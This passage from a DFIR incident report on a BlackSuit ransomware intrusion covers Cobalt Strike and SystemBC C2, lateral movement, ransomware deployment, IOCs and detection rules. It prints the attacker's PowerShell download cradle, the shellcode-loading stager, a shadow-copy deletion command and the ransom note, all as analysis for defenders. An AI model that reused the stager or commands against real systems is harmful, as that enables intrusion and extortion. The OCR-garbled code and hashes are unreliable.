One C2 connection from the Cobalt Strike beacons stands out from the rest: it originates from PowerShell but

communicates over HTTP to port 80.

host_hostname | Image Destinationlp  DestinationPort | count_
D chwindows\explorer.exe 147.78.47.178 443 10986
Dc chwindows\syswowed\windowspowershellyw 1.0 powershell exe 1477847178 443 8660

chwindowshsystem32ywindowspowershellywl .Oypowershellexe  147.7847.178 80

) chwindows\system32yrundl|32.exe 1477847178 443 11831
Server chwindows\system32\rund||32.exe 147.78.47.178 443 1833
File Server  cawindows\system32\rundli32.exe 147.7847.178 | 443 113814

Communicating in clear text gives us the opportunity to look at what is going on. The threat actor used

PowerShell to perform the download:

Image Processld Parentimage ParentProcessld_CommandLine ParentCommandlLine
CA\Windows\System32\icmd exe | 5744 CA\Windows\System32\spoolsv.exe | 2628 I C\Windows\system32\crmd exe /C powershell.exe -nop -w hidden -c "IEX ((new-object netwebclient) gt o]

Using Wireshark to view the exact HTTP query to the C2 server:

GET /aecewcfenfwfwefufu HTTP/1.1
Host: regsvcast.com
ONNECTION: RECP AIIVe

HTTP/1.1 208 OK

Date: Wed,

Content-Type: text/plain
Content-Length: 199612
Server: golfe2

$s=New-Object IO.MemoryStream(,[Convert]::FromBases4string("H4sIAARAAAAA/9SOWE/6SLI)+Nz9KeghpaqSazdgDIYjbekyAybBxpg79GmlbDC+YGPH3T5zvwtEZBriH]1TV3tPSzMssaQniSzovkRG/ uLKx@/ /YpLF3sbXoav/@H3s
1C+zffqIf8ELTmSX2r3/5y1//Qko1]8582F96mKmX2/ BK7 dSNrgmB61d/SM/nOAPNT /HP/ /E/5Cy07UTKyvadsVMpSezQC w7 +eXXn
svnwBuHdy/oVu+fUL/+t8//e1ff1eCyDKDSrZKNiSUDEREXPGaGLIMHMHTNG /AS3/5+X/9r59/ / cd/dP7598krMaPk1583VZLa4d +vQfDzrz/9n1/ xhdvqaf /ys+Zd4iilbunfD96y/99R3u/pI3XWNG/ / FUZMFIMAYRzZ /9SCxVFBHLZ/DAQrmRm] =
PNvP/@D3/ePf/7zp//56c@6eEReaP+dPFI7 {p4b08691538 FWY-+roGotm/w2M8ILN/D+FLXEERSp1nE+OndF3gu+72L397ZEHWGTT7§3+33X/+5 rSL+T+uw/98vBhuGuVxr/+1tDEvzMdGqUblhwiSu+9/@ZcvEL fHwis17/+n7/+Cale7cB2zNTH
Viwrz+41W/ /qXv/yDHtown19uUeLRS/ 7zp/ ZvP2nQCTONAggXcxtn9q/ / /Fofetr3kalv/2vDnfdTz TNseVg/ /vOnT+ui7/rPyv/71178211Pn/ 2V1XnC1Y7 Z+X++GsX3zHvadepihd3kT/C9/ tmb2LbDpfPz9fdsS+vnLz8@F +zpuZudnnNB// PGxSe]
1n2dHrHPSBAY9EVABS F26Y2fYGV7yM3Llodgjzx74Dmf 7tBtvitft/dbK3q/Xb8 i rQsB2as/PbTKoNI funtp41tBub1t5+kR+1116Qsjehzl/d1bIgassmkreb+evzKlzavl6AE7IrvAGSIObDAP+KZACTKbz /NvKs9qjaes+7C2386171Z6LD 1ok
Uc1gTO4FxsUgSZ+Prb7+n{179v71SEZ8A04W7KhaaBEQDPaXYUI T Tsas/ /zfdfusTtilurt6 T9K3TQAChIED/ +2nvxSnwtZ9/+wPh/b/ r308sSoduyrHdLOQvdCP+Y1S1uF 3onRcULy/SmUs6C3EKs zaNo3BkInZ f2FA29svPiaiXibiM70Marcril

“I5tRqrkrsIXT1xyBuydbd+HSARXNUY1yRKNghFVi2rnVhShOpgloR64kaweaT 8HR+0VXPh/KojWi7kSrE4b@DukxsQ5kac/nQhjdyuR7645]FZINLVDT0ZRt a2 LeVACHhyGS rx6+yVORDL5StEAPUY+++DUSLCAT7GOBL/ WUST{S+NWNQBOIXA
qM7§5IVkMh4ARLWUETGEKOGZEACELY cANYW7VINES 6wl VEtESaQLULK1 LNSY22HxPhopRtKhE+UkSCapLpT logUOmkXLW@oYinv@tIKzL z1KZNT 2ReKrc4nZHSXb1r6YLMS 8pdSDsy V55 2pX733FKuMeV rtp6gISVCXRRTSDTCTRS FTXAEWL ]/ ISETE
10w1iDyfF8tIaMN/9zyChSHIGtO52UsEBuZPxUo] § Ty0118ECTIB+I6v21Kr3HSzbk/ / vw2L+n39Pv6TFoe/ 03/ Z5+4T7+n39PVERBoAT/yL/ /£559+2teXL3/ 8A/ nyL1+4/ / cL/ FOPh+UXP9zDy7 /HAZL +Wapvpyv7FTDA+cv/+0n/ +c§51z+QF6NL
Fgn/KSKetendp/ /1009921 2kZ F7VFLTXOPhnTIsqjunf 1dM1vdSNMVTURZy 2FSbCS5uHh3/ 753 +hig+syPaRZeE1RFUG3U3Wt6t0uL LiNP/ 5xT3/49yy9/ntzqeN/D5PkkrbtlyqonNLDZPznSHDA4hSX6y @81 TdDHF /8T1++Vkne2v3366NTv/ z3P/4
rHeXuevm3f/ ryrzbSczL+718/f/ko+PPPP7/mFN32+/ TyPvd750dzr6v@o+A// 3NAp/ dPnSCASU/ ZNF+nLxyZcBzH/ ue5n3/6cbR1dfP448dz tP5b46+RFO7pOPFOSX 2L 7F TMFOPIMAVOV3rgEXTc+0i+YqETKDFXIFPP/ 23/ /7T T4r+y6FF2+KZy

i i i i£KBBVa/X65X9+6cLiVEF/fsFpnBb39E+r0g]cmh7alDXdNEIKES/+NASVMEVEVAQA™) ) sTEX (New-Object I0.StreamReader(New-Object I0.Com
ression.GzipStream($s, [10.Compression. Compressiontode]: :Decompress) ) ) ReadToEnd();

A PowerShell script was downloaded that decodes a Base64-encoded blob using "FromBase64String". At the end

of the script, the decoded data is decompressed, which can easily be done using tools like "gunzip’. This behavior
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is highly indicative of a Cobalt Strike PowerShell stager. Upon decoding the Base64 blob, we uncovered another
embedded PowerShell script.

$ base6l —d PS_download.béld | gunzip

Set-StrictMode -Version 2

$DoIt = @°
function func_get_proc_address {

Param ($var_module, $var_procedure)

$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And
$_.Location.Split('\\')[-1].Equals('System.dl1') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRe
f', ‘'string'))

return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.
HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $va
r_procedure))
1
3

function func_get_delegate_type {
Param (
[Parameter(Position = @, Mandatory = $True)] [Type[]] $var_parameters,

[Parameter(Position = 1)] [Typel $var_return_type = [Void]
)

$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New—-Object System.Reflection.AssemblyName('Refl
ectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule®, $false).DefineTy
pe('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',6 [System.MulticastDelegate])

$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Stand
ard, $var_parameters).SetImplementationFlags('Runtime, Managed')

$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).Se
tImplementationFlags('Runtime, Managed')

return $var_type_builder.CreateType()
1
3

[Byte[1]1$var_code = [System.Convert]:|FromBase6UString('s70zs7NueXFmyyMjIyNUuqvx2qsailGZeIyPc8EvTLoF1SyejIyNO3PMjIyMijIyMjIyMjT
yMjIyMjIyMjIyMjIyPLIyMjl/NXv2DdGNinl]jYHxVgas bR IGMLvuvtZyVHEX/ BJNLUWZUEUGYbswEYY S /6o /YMULGLEBREOtBHcKnsan3gpTL515X0oRgnil/KXG
9IV2AQqd5GbYUaaljZSdk7Bgt1KhURoaYdL XwiliQVRLNUWIEvwgHxpHLgx 1 ZwF im81lzmUKNooZ 3Y1dNm3MQOCOUBUPGBieui TEX6gqMTBIWEHNQ+AwXELEDPZHE 2Y

yMjIyMiTyMjIyMTyM3 TyMj TyMj TyMiTyMjIyMiTyMi IyMi Ty TyM3 TyMj TyMj TyMj TyMjTyMj TyMi IyMj TyMi TyM3 TyMj TyM3 TyMj TyMjTyMi TyMi IyMi TyM Ty
M3 IyMj IyMjTyMj IyMj TyMj IyMjIyMj IyMj Iy TyM Ty TyM; TyMj TyMj IyMi Iy IyMjIn==")

for ($X - VR VS, (PO S PR . S NN I )

$vaf_éode[$xj = gvar_ccde[$;].fbxér‘35
1
El

$var_va = [System.Runtime.InteropServices.Marshall::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll Virtual
Alloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.lLength, 0x3000, Ox4@)

[System.Runtime.InteropServices.Marshal]: :Copy($var_code, @, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshall: :GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([
IntPtr]) ([Void])))
$var_runme. Invoke([IntPtr]: :Zero)

0

If ([IntPtr]::size —eq 8) {

start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
1

5
else {
IEX $Dolt

This PowerShell script decodes another base64 blob, but as we can see it also performs XOR operations on the

bytes. XOR with decimal 35(0x23) is a well known key for Cobalt Strike PowerShell stagers.

$ basesl -d PS_download2.b6U > PS_download2.sc: translate.py PS_download2.sc -o PS_download2.bin "byte " 0x23"

After decoding the final base64 blob we get the Cobalt Strike beacon and can get the configuration (as the

configuration is the same on all HTTP beacons the config is extracted with csce):

$ csce —pretty PS_download2.bin
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"beacontype": [
"HTTPS"
1
"sleeptime": 63612,
"jitter": 39,
"maxgetsize": 2796542,
"spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
"license_id": 1580103824,
"cfg_caution": false,
"kill_date": null,
"server": {
"hostname": "qw.regsvcast.com”,
"port": 443,
"publickey": "MIGfMA@GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCiCKWZb6Nn1L/Txn7FIuXF2qwp+LPwdWfzGYeTRr60OMZ !
B
"host_header": "",
"useragent_header": null,
"http-get": {
"uri": "/hr",
"verb": "GET",
"client": {
"headers": null,
"metadata": null
I
"server": {
"output": [
"print",
"prepend 338 characters"”,
"baseb4",
"netbiosu”

}
b
"http-post": {
“uri": "/ch",
"verb": "POST",
“client": {
"headers": null,
"id": null,
"output": null
}
b
"tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALA
"crypto_scheme": @,
"proxy": {
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"type": null,
"username": null,
"password": null,
"behavior": "Use IE settings"
b
"http_post_chunk": 9,
"uses_cookies": true,
"post-ex": {
"spawnto_x86": "%windir%\\syswow64\\runonce.exe",
"spawnto_x64": "%windir%\\sysnative\\runonce.exe"
b
"process-inject": {
"allocator": "VirtualAllocEx",
"execute": [
"CreateThread",
"Rt1CreateUserThread",
"CreateRemoteThread"
1
"min_alloc": 18046,
"startrwx": false,
"stub": "IiuPJ9vfuo3dVZ7sonbmSA==",
"transform-x86": [
"prepend "\\x90\\x90\\x90\\x90\\x90""
1
"transform-x64": [
"prepend "\\x90\\x90\\x90\\x90\\x90""
1
"userwx": false
h
"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
b
"pipename": null,
"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"stage": {
“cleanup": true
h
"ssh": {
"hostname": null,
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"port": null,
"username": null,
"password": null,
"privatekey": null

SytemBC

Another command and control channel utilized by the threat actor in this intrusion was SystemBC, a tool
frequently favored by ransomware groups. One of its most commonly used features is its proxy functionality. This
allowed the threat actor to leverage their own external computers and, through the SystemBC malware deployed
on the file server, establish proxy connections to access the local network, facilitating further actions within the

compromised environment.

SystemBC C2
137.220.61.94

Th clients
DESKTOP-OMEMSEA
DESKTOP-BIFFSCT

(e e o] 1

File Server

The threat actor first brought in SystemBC as a file named SC.exe. This was executed manually by the threat actor

after logging into the file server from DC X.

Security EventID 4624 showing RDP logon and Logon ID:
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An account was successfully logged on,

Subject;

Security 1D 5-1-5-18

Account Marme:

Account Damain:

Logon ID: Ox3E7
Logon | -

Logon Type: 10

i =] SO WO e W)

Virtual Account: Mo

Elevated Token: Yies
Impersonation Level: Impersonation
Mew Logon:

Security 1D

Account Mame:

L cunt Dlamain:
Legeon ID: Ox1B8EGE4D

Metwork Account Mame: -
Metwork Account Domain: -

Legon GUID: {3c2fobcf-5538-c587-1501-08cfdb358e 13}
Process Information:

Process D Ox5fc

Process Name: ChWindows' System32svchost exe

Metwork Information:
Workstation Name:
Source Metwork Address:
Source Port: 0

Detailed Authentication Infarmation;
Logon Process: User32
Authentication Package: Megotiate
Transited Services: -
Package Mame (NTLM only): -
Key Length: 1]

The threat actor manually started SystemBC with name SC.exe:

Process Create:
RuleName: technique_id=T1204,technique_name=User Execution
UtcTime: 2023-12-14 12:35:19.597
ProcessGuid: {6f0f2aa6-f687-657a-079d-000000000700}
Pri 1d: 563.
Image: C* SC.exel
lleversion: -
Description: -
Product: -

OriginalFileName .g12dgm¢54,dn|

CurrentDirectory: A1 3
User: |

i i35e-657a-4d66-Be1 b00000000)
Logonld: Ox1B8EE64D
ErTInaoessiona:

Integritylevel: High
Hashes: SHA1=ADE18294497364C557E28DDBEED5F54D5063 1485 MD5=86ABDE291FBFADCDFOA1SFCT83CFFF19,5HA256=C798B2690C5F 16EB2917AGTIAF3117CFEICTOR0FABBCBAFFC3159338EF33508E IMPHASH=3BB2FOFFDODETSET9928EBS0ATDBETTF
ParentProcessGuid: {6f0f2aa6-f363-657a-d39c-000000000700}

ParentProcessid: 1752

Parentimage: C:\Windows\explorer exe

ParentCommandLine: C:\Windows\Explorer EXE

ParentUser:

Notice that the original name is different and that the LogonID is the same as from the RDP login above.

Page 32 of 44


https://thedfirreport.com/wp-content/uploads/2024/08/26364_074.png
https://thedfirreport.com/wp-content/uploads/2024/08/26364_074.png
https://thedfirreport.com/wp-content/uploads/2024/08/26364_075.png
https://thedfirreport.com/wp-content/uploads/2024/08/26364_075.png

https://thedfirreport.com /2024 /08 /26 /blacksuit-ransomware/

Shortly after the threat actor brought another SystemBC file, with the name socks32.exe. That was moved to the

file server from DC X.
socks32.exe moved over SMB C$ share:

ftable  event_code ShareMarme SharePath RelativeTargetMame

security 5145 WaCh VARG | Tools\socks3Z2 exe

Once again execution is done manually after logging in through RDP.
RDP logon:

ftable | event_code LogonType LogeniD
security | 4624 10 OxTBAGALAA

Manual execution:

ftable  event_code Image Processid Parentimage ParentProcessid CommandLine ParentCommandLine Logonid
sysmon 1 Ch\Tools\socks32 exe 532 Ch\Windows\explorerexe 5640 ‘ChTools\socks32exe" | CAWindows\Explorer EXE = Ox1BAGA44A

If the SystemBC sample is compiled without modifications, it should be feasible to extract the configuration from

the implant by examining the exe file, as all information is presented in plain text.
Port and host configuration for SystemBC in the socks32.exe implant:

HOST1:137.220.61.94

randomdata

Impact

The threat actor’s primary objective in this case was financial gain through ransom. They introduced an executable

named gwe.exe, which we later identified as BlackSuit ransomware.

This ransomware was strategically distributed across key endpoints within the infrastructure and executed,

initiating the ransom demands.
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Beachhead Host

SMB: C$\Users\gue.exe

— Y )
SMB: C$\Users\awe.exe — (X ]
/ — [ X ]
Server

SMB: C$\Users\guwe.exe

SHB: C$\Users\aue.exe

g

Backup Server

00 "

File Server

Windows security eventID 5145 shows the distribution of the BlackSuit ransom executable via SMB C$ shares:

event_code ShareMame SharePath RelativeTargetMName
5145 WACE WVITVCN users\gwe exe
5145 WACE WIMCA users\gqwe.exe
5145 WACE WVRCH, | users\gwe.exe
2145 WACH VRGN, | Users\gwe.exe

To avoid any errors during the final stage of their operation, the threat actor refrained from manually typing the
command to execute the ransomware with the necessary command line arguments. Instead, to ensure accuracy and
eliminate the risk of typos, they also moved a file named 123.txt along with qwe.exe, likely using it as a script or

reference to guarantee the correct execution of the ransomware.

Windows security eventID 5145 shows distribution of 123.exe to the c:\users directory:

event_code ShareMame SharePath RelativeTargetMName
5145 WS VITVCN, | users\ 123wt
5145 WS VITVCS, | users\ 123K
5145 W CH WVEMEN users\123.ixt
5145 WACH WVITVCA, | usersy 123kt

Movement of the 123.txt file seen from the network side. Including the content. The id is redacted.
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After staging the ransomware executable qwe.exe and the helper file 123.txt, the threat actor used RDP from DC
X to log onto various systems. Once logged in, they opened 123.txt in Notepad, copied the command from the
file, and executed the ransomware. This method ensured the correct command line arguments were used, reducing
the risk of mistakes during the final execution phase.

Sysmon eventID 1 showing notepad.exe opening 123.txt:

event_code CommandLine

ParentCommandLine Image Parentimage
1 "CAWiIndows\system3Z\NOTEPAD EXE" C\Users\123.txt  C\Windows\Explorer EXE = CAWindows\System32\notepad.exe  CA\Windows\explorer.exe
1 "CAWIndows\system3\NOTEPAD EXE" C\Users\123.txt  C\Windows\Explorer EXE = CA\Windows\System32\notepad.exe  Ch\Windows\explorer.exe
1 "CAWindows\system3Z\NOTEPAD EXE" C\Users\ 123 txt  CA\Windows\Explorer EXE = CA\Windows\System32\notepad.exe CAWindows\explorer.exe

Sysmon eventID 1 showing execution of qwe.exe

source

event_code Image

Parentimage

CommandLine

ParentCommandLine

ProcessiD  ParentProcessiD

sysmon 1 CAUsers\qwe.exe  C\Windows\System32\emd.exe qweexe -id 'redacted "CA\Windows'system32\emd.exe” 188000 182388
1 Sysmon 1 C\Users\qwe.exe C:\Windows\System32\cmd.exe | qwe.exe -id 'redacted "CAWindows\system32\cmd.exe” 5888 11528
sysmon 1 C\Users\qwe.exe | C\Windows\System32\cmd.exe  qwe.exe -id ‘redacted "CAWindows\system32\cmd.exe" 932664 931660
sysmon 1 Ch\Users\qwe.exe  C\Windows\explorer.exe “Ch\Users\qwe.exe" CAWindows\Explorer.EXE 5652 5696
. sysmon | 1 Cl\Users\qwe.exe | C:AWindows\explorer.exe “ChUsers\gwe.exe” C\Windows\Explorer EXE 7068 5696

Once the ransomware was executed a lot of ransom notes where created:
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event_code TargetFileName Image ProcessID  User
1 Chlsers\Default\readme. blacksuit.txt Chlsers\gwe.exe | 188000
11 ChUsers\Publicyreadme blacksuit tet ChUsers\qwe.exe | 188000
1 ChUsers\Default\Desktop\readme.blacksuit.txt System 4 MT AUTHORITY\SYSTEM
11 ChUsers\Default\Documents\readme.blacksuit.txt System 4 MT AUTHORITY\WSYSTEM
11 ChUsers\DefaultyDownloads'readme. blacksuit.txt System 4 NT AUTHORITY\SYSTEM
1 Chlsers\Default\Favorites\readme blacksuit.txt System 4 NT AUTHORITYSYSTEM
11 ChUsersyDefaultLinks\readme. blacksuit.txt System 4 MT AUTHORITYSYSTEM
11 ChUsers\Default\Musicireadme. blacksuit. bt System 4 MT AUTHORITY\SYSTEM
11 ChUsers\Default\Pictureshreadme blacksuit tt System 4 MT AUTHORITY\SYSTEM
11 Chlsers\Default\Saved Games\readme blacksuit.txt System 4 NT AUTHORITYASYSTEM
111 ChUsers\DefaultyVideos\readme blacksuit.txt System 4 NT AUTHORITY\SYSTEM
11 Chlsers \Desktop\readme. blacksuit.txt System 4 MWT AUTHORITY\SYSTEM
11 ChUsers \Downloads\readme blacksuit txt System 4 MT AUTHORITY\SYSTEM
11 ChlUsers! \Desktop\readme blacksuit txt System 4 MT AUTHORITY\SYSTEM
11 Chlsers' i \Downloads\readme.blacksuittxt | System 4 NT AUTHORITY\SYSTEM
1 Chlsers\PublichAccountPictures\readme blacksuit txt System 4 NT AUTHORITYSYSTEM
11 ChUsers\PublichDesktop\read me. blacksuit.txt System 4 MT AUTHORITYSYSTEM
11 ChUsers\PublicyDocumentsreadme.blacksuit.txt System 4 MT AUTHORITY\SYSTEM
11 ChUsers\PublicyDownloads\readme blacksuit twt System 4 MT AUTHORITY\SYSTEM
11 Chlsers\PubliciLibraries\readme blacksuit.txt System 4 NT AUTHORITYASYSTEM
11 ChlUsers\Public\Music\readme.blacksuit.txt System 4 NT AUTHORITY\SYSTEM
11 ChUsers\Public\Pictures\readme, blacksuit tet System 4 MWT AUTHORITY\SYSTEM

readme.blacksuit.txt looked like:

| readme.blacksuit - Notepad - a X

File Edit Format View Help
Good whatever time of day it is!

Your safety service did a really poor job of protecting your files against our
professionals.
Extortioner named BlackSuit has attacked your system.

As a result all your essential files were encrypted and saved at a secure server for
further use and publishing on the Web into the public realm.

Now we have all your files like: financial reports, intellectual property, accounting, law
actions and complaints, personal files and so on and so forth.

We are able to solve this problem in one touch.

We (BlackSuit) are ready to give you an opportunity to get all the things back if you agree
to make a deal with us.

You have a chance to get rid of all possible financial, legal, insurance and many others
risks and problems for a quite small compensation.

You can have a safety review of your systems.

All your files will be decrypted, your data will be reset, your systems will stay in safe.

Contact us through TOR browser using the link:
http:/ onion/?
id=j6z

Timeline
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BlackSuit Ransomware

23:29 UTC Initial Access =———

Cobalt Strike Beacon: RtWin64.exe —J

C2: svchorst.com
proxied via CloudFlare

06:12 UTC Discovery =—

systeminfo
nltest
Sharphound

06:27 UTC Lateral Movement =—

SMB Admin Share used to copy executable beacons to
remote hosts including workstation and domain controller

\\REDACTED\ADMIN$\61185¢].exe

12:04 UTC Lateral Movement

RDP to file share server from domain controller —J

DEVR:]

.

f

07:08 UTC Lateral Movement

New Cobalt Strike PowerShell and
executable beacons deployed to more hosts

C2: *.regsvcast.com
147.78.47.178:443

[cevs I

12:35 Lateral Movement and Discovery

RDP and Cobalt Strike beacons used to
move to new server

start.bat
Get-Datalnfo.psl

—&2
L

15:12 UTC Impact

Threat actor start ransomware deblovment —J

06:13 UTC Credential Access

L Rubeus
I ASREP Roast

Kerberos

11:47 Discovery

I Discovery commands from domain
controller

net group "domain admins” /domain
nitest /dclist:domain

net group "enterprise admins" /domain
cmd.exe /C ping REDACTED

12:35 UTC Command and Control
and Persistence

SystemBC executables dropped on file

share server

SC.exe
socks32.exe

C2:137.220.61.94:4001

Run Key:

HKU\REDACTED\Software\Microsoft\Windows\CurrentVersion\Run\socks5

23:57 UTC Command and Control

DNS for Cobalt Strike C2 changes off of

CloudFlare IP's
I svchorts.com

15.197.130.221

20:49 UTC Command and Control

I New Cobalt Strike beacon deployed with
new C2 server

C2: *.regsvcast.com
147.78.47.178:443

06:29 UTC Discovery

L Sharphound.exe executed from domain controller

07:30 Discovery

| adf.bat

Adfind.exe

07:34 UTC Discovery

adf.bat
Adfind.exe

Browsing SMB shares for sensitive documents

13:44 Discovery and Collection

Get-Datalnfo.ps dropped on a domain
controller and run again

Get-ADComputer -Filter {enabled -eq Strue} -properties *|select
Name, DNSHostName, OperatingSystem, LastlogonDate,
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- IPV4AQAress | EXPOrT-USV Ui\USErs\AILWINGOWS.CSV -
The files 123.txt and qwe.exe moved to hosts using SMB | olvRelntoimationEacedinglCIES
S p—— C:\Users\grubber\grubber\7z.exe a -tzip .\result.zip -mx=9 -aca .\result\’
the rar listed in 123.txt
qwe.exe -id "REDACTED"

cmd.exe /c vssadmin delete shadows /all /quiet —J

Diamond Model

Adversary — SystemBC
|~ cobalt Strike
DESKTOP-OMEMSEA  DESKTOP-BIFFSC7 L Rubeus

|~ Sharphound

wa.regsvcast.com
as.regsveast.com —— 147.78.47.178 — regsveast.com
|~ Get-Datalnfo.psl
2zx regsvcast.com "
Cobalt Strike L adFing
CloudFlare
" -
61.94 — SystemBC

j— svehorst.co Capabilities/TTPs nitest
15.197.130.221
systeminfo
137.220
I~ Windows Utilities Discovery —— route
ping
et
[~ 7-zip — Archive Discovery output

- Blacksuit Ransomware

o8

Workstations ~ Servers  Domain Controllers

Indicators

Atomic

SystemBC (2
137.220.61[.]194

Cobalt Strike (2
svchorst[.]com

15.197.130[. 1221
147.78.47[.1178
147.78.47[.]1178
147.78.47[.1178

as.regsvcast[.]com

zx.regsvcast[.]com
qw.regsvcast[.]com

Computed

RtWin64.exe - Cobalt Strike Beacon
md5:b5266cd35d1h3770b05 ad6870c@cdbde
shal:2bb6c8b64671edc49e22f3d0c7dc45904b2ed8a2b
sha256:55cde638e9bcc335¢79c605a564419819abf5d569¢128b95b005b2148cccd3c
imphash:6015e6e85d0d93e60041fa68c6a89776

7f02ab2.exe - Cobalt Strike Beacon
md5:3bf1142b3294¢23852852053135ec@df
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shal:a3b617eb4248aba34c28c48886116ac97e55e932
sha256:6c884e4a9962441155af@acB8e7eeadac84b1a8e71faeedbeafc4dd95cded 753 f
imphash:1b2b0@fc8f126084d18c48b4f458c798b

7341ac3.exe - Cobalt Strike Beacon
md5:519dc779533b4ff0fc67727fecadbad2
sha1:586ea19ea4776300962e20cfc9e7017a50888ech
sha256:a39dc30bd672b66dc400f4633dfadbdd289b5e79909c2e25e9c08b44d99b8953
imphash:1b2b@fc8f126084d18c48b4f458c798b

61185c1.exe - Cobalt Strike Beacon
md5:820cfde780306e759bb434dab09f7a91
shal:4e38098965a4d4756e6f4a8259df62chca7de559
sha256:€92912153¢f82e70d52203a1a5c996e68b7753818c831ac7415aedbebf3f007d
imphash:1b2b@fc8f126084d18c48b4f458c798b

b7bcee8.exe - Cobalt Strike Beacon
md5:b54240c98ca23202e58a1580135ad14c
shal:cd5525690411964b90b51089b46f1a933fec3e8e
sha256:27e300fa67828d8ffd72d0325c6957ff54d2dc6ab60bbf6fc7aa5965513468e0
imphash:bed5688a4a2b5ea6984115b458755e90

€225857 .exe - Cobalt Strike Beacon
md5:3900ebc776613894fh1eb300460376ad
shal:e63732fb38d2e823348529a264b4c4718e0cObda
sha256:f474241a5d082500be84a62f013bc2ac5cde7f18b50bf9bb127e52b1282f ffbf
imphash:bed5688a4a2b5ea6984115b458755e90

7341ac3.exe - Cobalt Strike Beacon
md5:519dc779533b4ff@fc67727fecadba8d2
shal:586ea19ea4776300962e20cfc9e7017a50888ech
sha256:a39dc30bd672b66dc400f4633dfadbdd289b5e79909c2e25e9c08b44d99b8953
imphash:1b2b@fc8f126084d18c48b4f458c798b

AdFind.exe
md5:9b02dd2al1a15e94922be3f85129083ac
shal:2chb6ff75b38a3f24f3b60a2742b6T4d6027f0f2a
sha256:b1102ed4bcabdae6f2f498ade2f73f76af5271a803f0e0b46e100d4c 5150682
imphash:4fbf3f084fbbb2470b80b2013134df35

SharpHound. exe
md5:76a2363d509cc7174c4abee%a7d7aeb8
sha1:286588a50b9b128d07aa0f8851f2d7ee91dfa372
sha256:3b873bc8c7ee12fe879ab175d439b5968c8803fbb92e414de39176e2371896b2
imphash: f34d5f2d4577ed6d9ceec516c1f5a744

socks32.exe
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md5:ed44877077716103973cbbebd531f38e
shal:ceb8c699a57193aa3be2a1766b03050cde3c738a
sha256:9493b512d7d15510ebee5b300c55b67 92 f1ddab4bddc99ba8bab024113300
imphash:d66000edfedda%938162b2b453ffa516

qwe.exe
md5:0bb61cOcff022e73b7c29dd6f1ccfoe?
sha1:8dde03600a18a819b080ad1effc24f42fa960a3e
sha256:60dchfb30802e7f4c37c9cdfc04ddbd11060918d19e5b309a5bebb4a73c8b18a
imphash:ecc488e51fbb2e@1a7aac2b35d5f10bd

Detections

Network

ET CURRENT_EVENTS [Fireeye] HackTool.TCP.Rubeus.[nonce]

ET CURRENT_EVENTS [Fireeye] HackTool.TCP.Rubeus.[nonce 2]

ET Threatview.io High Confidence Cobalt Strike C2 IP group 3

ET Threatview.io High Confidence Cobalt Strike C2 IP group 2

ET POLICY SMB Executable File Transfer

ET RPC DCERPC SVCCTL - Remote Service Control Manager Access

ET POLICY SMB2 NT Create AndX Request For a .bat File

ET POLICY SMB2 NT Create AndX Request For an Executable File In a Temp Directory

ET POLICY Powershell Command With Hidden Window Argument Over SMB - Likely Lateral Movement
ET POLICY PE EXE or DLL Windows file download HTTP

Sigma

Search rules on detection.fyi or sigmasearchengine.com

DFIR Public Rules Repo:

50046619-1037-49d7-91aa-54fc92923604 : AdFind Discovery

DFIR Private Rules:

03be05e6-4977-44cd-8eed-a79400a5ceb@d : Detection of Cobalt Strike Execution
ded@7dbe-bcd4-4d15-a27b-1669445d3215 : Enabling RDP service via reg.exe command execution
feee5785-1381-4119-95d0-calc3fffe2f2 : Potential Kerberoasting Attack Detected
f8fd3970-d558-40c8-86e2-a989cd53daea : RDP Session from Host with Default Hostname
194e0132-ddee-433c-ac98-3e544c5a2a3a : Suspicious Powershell Execution in Run Key

Sigma Repo:

Page 40 of 44


https://detection.fyi/
https://sigmasearchengine.com/

https://thedfirreport.com /2024 /08 /26 /blacksuit-ransomware/

903076ff-f442-475a-b667-4f246bcc203b : Nltest.EXE Execution
5cc90652-4chd-4241-aa3b-4b462fa5a248 : Potential Recon Activity Via Nltest.EXE
9a132afa-654e-11eb-ae93-0242ac130002 : PUA - AdFind Suspicious Execution
d5601f8c-b26f-4ab0-9035-69e11a8d4ad2 : CobaltStrike Named Pipe
496a0e47-0a33-4dca-b009-9e6ca3591f39 : Suspicious Kerberos RC4 Ticket Encryption
8eef149c-bd26-49f2-9e5a-9b00e3af499b : Pass the Hash Activity 2
f376c8a7-a2d0@-4ddc-aadc-16c17236d962 : HackTool - Bloodhound/Sharphound Execution
02773bed-83bf-469f-b7ff-e676e7d78bab : BloodHound Collection Files
0d894093-71bc-43c3-8c4d-ecfc28dcf5d9 : Mimikatz Detection LSASS Access
a18dd26b-6450-46de-8c91-9659150cf@88 : Potentially Suspicious GrantedAccess Flags On LSASS
098d7118-55bc-4912-a836-dc6483a8d150 : Access To ADMIN$ Network Share
